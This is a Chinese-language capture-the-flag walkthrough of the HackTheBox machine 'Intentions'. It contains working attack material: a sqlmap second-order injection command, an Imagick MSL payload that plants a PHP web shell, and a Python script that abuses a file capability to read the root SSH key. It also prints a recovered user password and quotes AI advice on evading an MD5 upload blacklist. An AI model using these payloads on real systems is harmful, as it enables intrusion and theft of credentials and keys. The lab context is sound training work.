OSCP-Intentions
Intentions
来源:HackTheBox
难度:Hard
nmap -T4 -A -sV -p- 10.10.11.243
没有什么特别的端口,只有常规22,80,直接访问80发现是一个登录口,注册登陆后测试了很多没有思路,看wp说要二次注入,并且用的是sqlmap(OSCP考试不允许使用)
SQLMAP二次注入
浏览网页以及wp,最后发现只有profile里的偏好设置会读取用户输入进入数据库,而feed会根据这个偏好设置读取数据库返回内容
偏好设置:
feed返回:
经过测试,我们发现在设置偏好的时候,假设填入food , animal
这样的语句,会被替换成这样food,animal
,其中的空格会自动替换成空,猜测有过滤措施,所以使用sqlmap的时候需要尝试使用其自带的“将所有空格换成注释”的脚本
我们将更改偏好设置和获取返回的数据包分别保存,然后使用如下语句:
sqlmap -r update.txt --second-req=getresponse.txt --risk=3 --level=3 --tamper=space2comment
# update.txt 修改偏好设置的数据包
# getresponse.txt 根据编号设置返回的推荐内容的数据包
# --tamper=space2comment 注释替换空格
尝试注入:
能注出数据
--dbs
--tables -D dbname
--columns -T table -D dbname
--dump -T table -D dbname # 爆表所有数据
--dump -C "user,avatar,user_id,password" -T table -D dbname # 按字段爆数据
能看到有两个账户有密码hash,admin字段为1,估计是管理员账号:
接下来陷入了难题,该拿这些hash怎么办,cmd5解不开,直接登录登不上
看wp,傻了忘了爆破api了,/api/vi/爆一下,爆不出来,换个v2爆一下,爆出来/api/v2/auth/login
gobuster dir -w dict.txt -e -t 100 -u url -b 403,404
dir:使用目录/文件枚举模式(而非 DNS 或 VHOST)。
-w dict.txt:使用 dict.txt 作为字典文件。
-e:自动递归发现的目录(如果有权限访问会继续深度爆破)。
-t 100:使用 100 个线程(速度快,但也可能触发WAF或封IP,酌情调整)。
-u url:目标 URL(例如:http://example.com)。
-b 403,404:屏蔽状态码为 403 和 404 的响应(常见的“禁止访问”和“未找到”页面),不显示在结果中。
测试发现这个接口要post,并且知道了参数:
有hash,直接秒了,抓包改登陆包:
进去默认是相册dashboard,目录改admin秒了,浏览网站来到这么一个功能:
修改图片滤镜,抓个包,很好啊,出现了绝对路径:
尝试包含,没有用,卡在这里了,但是可以远程包含
查阅资料得知,php有一个插件叫做Imagick,可以通过包含特定payload来打一个rce
我们现在知道:
1.这是个画廊应用,并且跑着php,所以可能有Imagick
2.我们知道他的绝对路径
参考这篇文章,讲了Imagick的洞:https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
构造payload:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @passthru(@$_REQUEST['c']); ?>" />
<write filename="info:/var/www/html/intentions/storage/app/public/rce.php" />
</image>
抓包搞成chunk-post(文件上传的格式),wp用curl,由于我不会搞,这里直接抄:
curl 'http://10.10.11.220/api/v2/admin/image/modify' -X POST -H 'X-XSRF-TOKEN:
token' -H 'Cookie: cookie' -F 'path=vid:msl:/tmp/php*' -F 'effect=asd' -F file=@payload.msl
其他说明:
现在我们就可以在图片目录下找到rce.php文件,然后直接?c=cmd打一个python反弹shell了:
咋一看这shell有点幽默了,没flag,权限也是烂的,再一看,又傻了,忘记ls要-a了,有一个.git目录,进去先用git log -p
看看历史记录:
提示这个.git被root拥有,要运行这个git config什么的命令才可以,运行发现权限又不够,怎么办,查看git文档,哦原来这个会去用户家目录下去查找配置文件,找不到再创建,那我们更改环境变量,给一个我们有权限的目录比如/tmp:
HOME=/tmp git config --global --add safe.directory /var/www/html/intentions # 将intentions目录添加到可以运行这个命令的白名单中
HOME=/tmp git log -p # 再次运行
ok成功获得greg用户密码,ssh美美登录:
greg
Gr3g1sTh3B3stDev3l0per!1998!
结束了吗?没的,兄弟,没的,提权来了
发现妙妙文件,这个东西貌似是检查一个文本的:
问一下AI:
该图库系统:
通过计算上传文件的 MD5 值,对比一个黑名单;
黑名单来自如 dmca_hashes.test 这样的文件;
用于:
避免上传 侵权内容;
避免图库中出现 重复图片。
如果你要分析或绕过这种机制,可以考虑:
对同一图片轻微修改像素或元数据,改变其 MD5;
检查 MD5 黑名单的来源、内容、匹配方式是否大小写敏感等。
这个opt/scanner/scaner很奇怪,所有者为root,但是其他用户可以执行
这个程序,不是 setuid 程序(即它没有通过 chmod u+s 获得 root 权限);
也不是通过 sudo 执行的(当前用户权限没有被临时提升);
因此,它按理说没有读取权限,但却能读取文件,这就很奇怪。
使用getcap查看其Linux文件能力,结果发现他被授予了cap_dac_read_search
,这个能力允许程序,绕过文件的读权限和目录搜索权限检查,只要被赋予了这个能力,程序就可以任意文件读取
好了,我们现在知道可能有任意文件读取了,要怎么提权呢?可以尝试用这个程序去读去ssh私钥
我们看看这个程序的帮助菜单:
非常好,我们发现这个程序可以指定读取文件,还能指定检查文件的多少个字节
这就很有趣了,试想,我们只比较一个字节的hash,虽然我们不知道这个字节是多少,但是我们可以通过生成不同的hash去匹配来爆破,比如要读取的文件的开头第一个字节是’b’,我们手上其实是可以提前生成一份所有可见字符的hash,然后去比对,如果跟b的hash比对成功了,我们就可以知道开头的第一个字节是’b’,以此类推,我们是可以爆破出要读取的任何文件的,这里直接上payload:
import string
import hashlib
import subprocess
base = ""
hasResult = True
hashMap = {}
readFile = "/root/.ssh/id_rsa"
def checkMatch():
global base
global hashMap
result = subprocess.Popen(["/opt/scanner/scanner","-c",readFile,"-h","./hash.log","-l",str(len(base) + 1)], stdout=subprocess.PIPE)
for line in result.stdout:
#print(line)
line = str(line)
if "[+]" in line:
check = line.split(" ")
if len(check) == 4:
if check[1] in hashMap:
base = hashMap[check[1]]
return True
return False
def writeFile(base):
f = open("hash.log", "w")
hashmap = {}
for character in string.printable:
check = base + character
checkHash = hashlib.md5(check.encode())
md5 = checkHash.hexdigest()
hashMap[md5] = check
f.write(md5 + ":" + md5)
f.write("\n")
f.close()
while hasResult:
writeFile(base)
hasResult = checkMatch()
print("Found")
print(base)
print("Done")
成功读取,随后给这个读出来的key加权限,然后本地ssh连接(必须再greg这个用户去本地ssh连root,否则会报key不安全的错误,无法连接)
成功提权